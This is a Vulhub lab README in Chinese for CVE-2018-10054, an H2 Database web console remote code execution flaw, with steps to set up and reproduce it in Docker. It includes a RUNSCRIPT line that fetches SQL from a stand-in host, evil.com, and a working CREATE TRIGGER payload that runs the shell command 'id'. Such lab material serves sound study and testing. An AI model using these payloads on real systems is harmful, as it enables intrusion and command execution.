Files
vulhub/h2database/CVE-2018-10054/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

1.9 KiB
Raw Permalink Blame History

H2 Database Web Console认证远程代码执行漏洞CVE-2018-10054

H2 Database是一个快速、开源的基于Java的关系型数据库管理系统RDBMS可用于嵌入式集成在Java应用中或客户端-服务器模式中。

当Spring Boot集成H2 Database时如果设置如下选项将会启用一个Web管理页面

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

在1.4.198之前的H2 Database版本中任何用户都可以通过创建新的数据库文件或连接到内存数据库来访问Web管理页面。认证通过后攻击者可以通过以下命令之一执行任意代码

  • RUNSCRIPT FROM 'http://evil.com/script.sql'
  • CREATE ALIAS func AS code...; CALL func ...
  • CREATE TRIGGER ... AS code...

参考链接:

环境搭建

执行如下命令启动一个集成了H2 Database 1.4.197版本的Spring Boot

docker compose up -d

容器启动后Spring Boot服务监听在http://your-ip:8080H2管理页面默认地址为http://your-ip:8080/h2-console/

漏洞复现

首先通过连接内存数据库登录H2 Web控制台

jdbc:h2:mem:test

然后,执行如下命令以执行id命令:

CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
    var is = java.lang.Runtime.getRuntime().exec("id").getInputStream()
    var scanner = new java.util.Scanner(is).useDelimiter("\\A")
    throw new java.lang.Exception(scanner.next())
$$;

可见,id命令被成功执行,结果以异常的形式被抛出: